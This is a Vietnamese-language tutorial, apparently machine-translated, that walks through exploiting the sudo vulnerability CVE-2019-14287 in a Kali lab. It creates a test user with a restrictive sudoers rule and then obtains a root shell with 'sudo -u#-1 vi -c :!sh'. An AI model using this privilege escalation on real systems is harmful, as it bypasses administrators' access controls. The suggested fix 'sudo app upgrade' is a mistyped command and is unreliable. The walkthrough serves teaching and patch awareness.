Bất cứ ai đã sử dụng Linux đủ lâu đều quen thuộc với sudo. Viết tắt của superuser do (hoặc người dùng thay thế làm, tùy thuộc vào người bạn yêu cầu), nó cho phép người dùng chạy các lệnh dưới dạng root hoặc người dùng khác trên hệ thống. Theo quan điểm của hacker, sudo thường là tất cả những gì đứng giữa họ và quyền truy cập root. Chúng ta sẽ khám phá một lỗ hổng cũ hơn trong sudo cho phép người dùng chạy các lệnh dưới quyền root.
Sudo là một tiện ích dòng lệnh được sử dụng trên gần như mọi hệ thống Linux , cho phép quản trị viên cung cấp cho người dùng hoặc nhóm cụ thể khả năng chạy các lệnh dưới quyền root hoặc trong một số trường hợp, những người dùng khác.
Một lỗ hổng ( CVE-2019-14287 ) được xuất bản vào tháng 10 năm 2019 cho phép người dùng thực thi các lệnh dưới quyền root trên các hệ thống từ chối rõ ràng quyền truy cập root nhưng cho phép người dùng chạy các lệnh như một người dùng khác. Vấn đề phát sinh từ cách sudo xử lý một số ID người dùng nhất định, hiểu sai chúng là ID gốc.
Các phiên bản Sudo trước 1.8.28 bị ảnh hưởng (nó đã được vá khá nhanh sau khi phát hiện ra), vì vậy các phiên bản cũ hơn nên được nâng cấp càng sớm càng tốt. Để kiểm tra xem phiên bản của bạn có dễ bị tấn công hay không, chỉ cần chạy sudo bằng công tắc -V để hiển thị phiên bản hiện tại:
~# sudo -V
Sudo version 1.8.27
Mặc dù cấu hình cụ thể của sudo nhìn thấy ở trên không phải là phổ biến nhất, nhưng chắc chắn nó không phải là chưa từng thấy, vì vậy điều quan trọng là phải biết cách hoạt động của lỗi và nâng cấp nếu phiên bản sudo của bạn dễ bị tấn công. Để cập nhật nó, chỉ cần sử dụng lệnh sau (có thể mất một lúc).
~# sudo app upgrade
Chúng tôi sẽ kiểm tra lỗ hổng này trên Kali Linux với phiên bản sudo 1.8.27.
Bước 1 Tạo người dùng thử
Để bắt đầu, hãy tạo một người dùng demo, chúng tôi có thể kiểm tra điều này. Sử dụng lệnh useradd theo sau là tên của người dùng mới của chúng tôi:
~# useradd testuser
Tiếp theo, chúng tôi cần thêm mật khẩu cho người dùng mới được tạo của chúng tôi. Sử dụng lệnh passwd , sẽ nhắc nhập mật khẩu mới:
~# passwd testuser
New password:
Retype new password:
passwd: password updated successfully
Bây giờ, nếu chúng ta xem tệp / etc / passwd , danh sách tất cả người dùng trên hệ thống và thông tin liên quan của họ, chúng ta có thể thấy người dùng mới của mình ở phía dưới:
~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
statd:x:138:65534::/var/lib/nfs:/usr/sbin/nologin
tcpdump:x:139:146::/nonexistent:/usr/sbin/nologin
testuser:x:1000:1000::/home/testuser:/bin/sh
Bước 2 Cấu hình Sudo
Điều tiếp theo chúng ta cần làm là cấu hình các đặc quyền sudo cho người dùng mới của chúng ta; chúng ta có thể làm điều đó với lệnh visudo :
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
Điều đó sẽ cho phép chúng tôi chỉnh sửa đúng tập tin / etc / sudoers . Đây về cơ bản là một phiên vi , vì vậy chúng ta phải nhấn I để vào chế độ chèn. Sau đó, thêm một dòng mới cho người dùng của chúng tôi trong tiêu đề “Đặc tả đặc quyền người dùng”:
# User privilege specification
root ALL=(ALL:ALL) ALL
testuser ALL=(ALL, !root) /usr/bin/vi
Về cơ bản, dòng này cho biết người dùng mới của chúng tôi có thể chạy lệnh vi như bất kỳ người dùng nào khác ngoại trừ root.
Bây giờ, nhấn Escape để thoát chế độ chèn và quay lại chế độ lệnh và nhập : WQ để ghi vào tệp và thoát. Tệp sudoers bây giờ trông như thế này:
~# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
testuser ALL=(ALL, !root) /usr/bin/vi
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
Chúng ta nên tốt để đi vào thời điểm này.
Bước 3 Khai thác & Nhận Shell
Hãy chuyển sang người dùng mới của chúng tôi; sử dụng lệnh su để làm như vậy:
~# su - testuser
su: warning: cannot change directory to /home/testuser: No such file or directory
$
Nếu chúng ta chạy lệnh whoami , nó sẽ hiển thị rõ ràng rằng chúng ta là người dùng mới:
$ whoami
testuser
Sudo cho phép chúng tôi chạy các lệnh như một người dùng khác với công tắc -u . Chỉ định người dùng và lệnh để chạy, ví dụ : chmod :
$ sudo -u testuser chmod --version
Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.
Chúng ta có thể thấy rằng nó không cho phép chúng ta chạy lệnh đó, vì nó không được chỉ định trong tệp sudoers. Nhưng nếu chúng ta chạy lệnh vi , được chỉ định, nó sẽ hoạt động:
$ sudo -u testuser vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
Thay vì chạy một lệnh như một người dùng khác theo tên, chúng ta cũng có thể thực hiện bằng ID số. Nếu bạn nhớ lại từ trước đó, ID là một phần của dòng được thêm vào trong tệp passwd:
testuser:x:1000:1000::/home/testuser:/bin/sh
Chúng ta cũng có thể sử dụng lệnh id để thấy điều này:
$ id
uid=1000(testuser) gid=1000(testuser) groups=1000(testuser)
Sử dụng ID số, chúng ta hãy thử chạy lệnh chmod như chúng ta đã làm trước đó:
$ sudo -u#1000 chmod --version
Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.
Và nó vẫn không hoạt động. Nhưng khi chúng ta chạy lệnh chúng ta được phép, nó hoạt động giống nhau:
$ sudo -u#1000 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
Điều gì xảy ra nếu chúng ta cố chạy lệnh này với quyền root ? Chúng tôi có thể sử dụng ID bằng 0 để biểu thị người dùng root:
$ sudo -u#0 vi --version
Sorry, user testuser is not allowed to execute '/usr/bin/vi --version' as root on drd.
Mặc dù chúng tôi được phép chạy lệnh, nhưng nó không hoạt động vì chúng tôi chỉ được phép chạy nó dưới bất kỳ người dùng nào khác ngoài root.
Lỗ hổng phát sinh theo cách sudo đối xử với ID -1 hoặc tương đương không dấu của nó là 4294967295 , coi các ID này là 0 , là ID cho root .
Chúng ta có thể chạy thành công lệnh vi với ID -1:
$ sudo -u#-1 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
Và tương tự, với ID 4294967295:
$ sudo -u#4294967295 vi --version
VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
...
Người ta biết rằng các lệnh có thể được chạy trong một phiên vi bằng cách sử dụng :! Toán tử, theo sau là lệnh. Nhưng chúng ta cũng có thể chạy các lệnh thông qua vi mà không cần nhập phiên với công tắc -c . Ví dụ: để chạy whoami :
$ vi -c :!whoami
testuser
Press ENTER or type command to continue
Đây là nơi mà nó sẽ thú vị. Nếu chúng ta chạy cùng một lệnh với ID -1, thì nó dịch sai thành ID gốc:
$ sudo -u#-1 vi -c :!whoami
root
Press ENTER or type command to continue
Vì chúng ta có thể chạy bất kỳ lệnh nào như thế này, thật đơn giản để sinh ra một lớp vỏ :
$ sudo -u#-1 vi -c :!sh
#
Và chúng tôi bây giờ đã root :
# whoami
root
Kết thúc
Trong hướng dẫn này, đã tìm hiểu về một lỗ hổng (CVE-2019-14287) trong tiện ích sudo trên các hệ thống Linux từ năm ngoái. . Cuối cùng, đã khai thác lỗ hổng trong sudo để chạy các lệnh dưới dạng root một cách hiệu quả, cuối cùng dẫn đến một shell root đầy đủ